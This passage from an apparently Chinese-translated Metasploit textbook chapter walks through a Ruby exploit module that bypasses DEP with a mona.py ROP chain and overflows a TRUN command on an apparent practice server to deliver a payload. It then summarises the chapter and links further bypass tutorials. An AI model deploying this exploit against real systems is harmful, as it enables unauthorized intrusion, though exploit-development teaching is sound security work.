include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'DEP Bypass Exploit',
'Description' => %q{
DEP Bypass Using ROP Chains Example Module
},
'Platform' => 'win',
'Author' =>
[
'Nipun Jaswal'
],
'Payload' =>
{
'space' => 312,
'BadChars' => "\x00",
},
'Targets' =>
[
['Windows 7 Professional',{ 'Offset' => 2006}]
],
'DisclosureDate' => 'Mar 4 2018'
))
register_options(
[
Opt::RPORT(9999)
])
end
我们已经编写过很多个模块,而且对初始化部分和所需的库文件也不再陌生了。此外,我们也不再需要返回地址,因为ROP链可以自动构建一个跳转到ShellCode的机制。下面来看看实现渗透的代码。
def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x77dfb7e4, # POP ECX # RETN [RPCRT4.dll]
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x76a5fd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN
[MSCTF.dll]
0x766a70d7, # POP EBP # RETN [USP10.dll]
0x625011bb, # & jmp esp [essfunc.dll]
0x777f557c, # POP EAX # RETN [msvcrt.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x765e4802, # NEG EAX # RETN [user32.dll]
0x76a5f9f1, # XCHG EAX,EBX # RETN [MSCTF.dll]
0x7779f5d4, # POP EAX # RETN [msvcrt.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x765e4802, # NEG EAX # RETN [user32.dll]
0x76386fc0, # XCHG EAX,EDX # RETN [kernel32.dll]
0x77dfd09c, # POP ECX # RETN [RPCRT4.dll]
0x62504dfc, # &Writable location [essfunc.dll]
0x77e461e1, # POP EDI # RETN [RPCRT4.dll]
0x765e4804, # RETN (ROP NOP) [user32.dll]
0x777f3836, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x77d43c64, # PUSHAD # RETN [ntdll.dll]
].flatten.pack("V*")
return rop_gadgets
end
def exploit
connect
rop_chain = create_rop_chain()
junk = rand_text_alpha_upper(target['Offset'])
buf = "TRUN ."+junk + rop_chain + make_nops(16) + payload.encoded+'rn'
sock.put(buf)
handler
disconnect
end
end
我们从rop_chains.txt文件中将Mona脚本产生的create_rop_chain
函数复制到渗透代码中。
这段渗透代码先连接到目标,之后调用create_rop_chain
函数,并将完整的ROP链保存到rop_chain
变量中。
接下来,我们使用rand_text_alpha_upper
函数创建了一个包含了2006个随机字符的字符串,并将其保存在一个名为junk
的变量中。这个应用程序的漏洞依赖于TRUN
命令的执行。因此,创建一个名为buf
的新变量,并将命令TRUN
与包含了2006个随机字符的junk
变量和rop_chain
保存在这个变量中。最后,再将一些填充数据和ShellCode添加到buf
变量中。
接下来,将这个buf
变量放入通信渠道sock.put
方法中。最后,调用handler来检查这次渗透是否成功。
运行这个模块,检查能否成功渗透该系统。
干得漂亮!我们已经解决了DEP保护机制,现在就可以对已渗透系统进行后渗透工作了。
在本章中,我们开发了基于栈漏洞的渗透模块。在开发过程中,还绕过了SEH和DEP保护机制。目前常见的保护技术还有地址空间布局随机化(Address Space Layout Randomization,ASLR)、栈cookies、SafeSEH、SEHOP以及各种其他技术,我们将在本书后续内容中看到绕过这些保护机制的方法。不过要理解这些方法,需要在汇编、操作码和调试方面有很良好的基础。
这是一个优秀的保护机制绕过教程:https://www.corelan.be/index.Php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/。
如果想获取关于调试的更多信息,请访问:http://resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/。
在这一章中,我们介绍了在Metasploit中编写渗透模块的汇编基础、一般概念以及它们在渗透中的重要性。本章深入研究了基于栈的溢出漏洞、基于SEH的栈溢出以及如何绕过DEP之类的保护机制。我们还学习了各种在Metasploit中用来辅助渗透开发的工具。此外还介绍了坏字符和空间限制的重要性。
现在,我们已经可以完成很多任务了,例如在辅助工具的帮助下使用Metasploit来编写软件渗透程序,使用调试器来检查重要寄存器中的内容,改写寄存器中的内容,并且战胜了复杂的保护机制。
在开始下一章的学习之前,你可以自行安排下列练习。
下一章将会着眼于那些Metasploit框架中不包括的但已经公开而且有效的模块。我们将把它们移植到Metasploit框架中。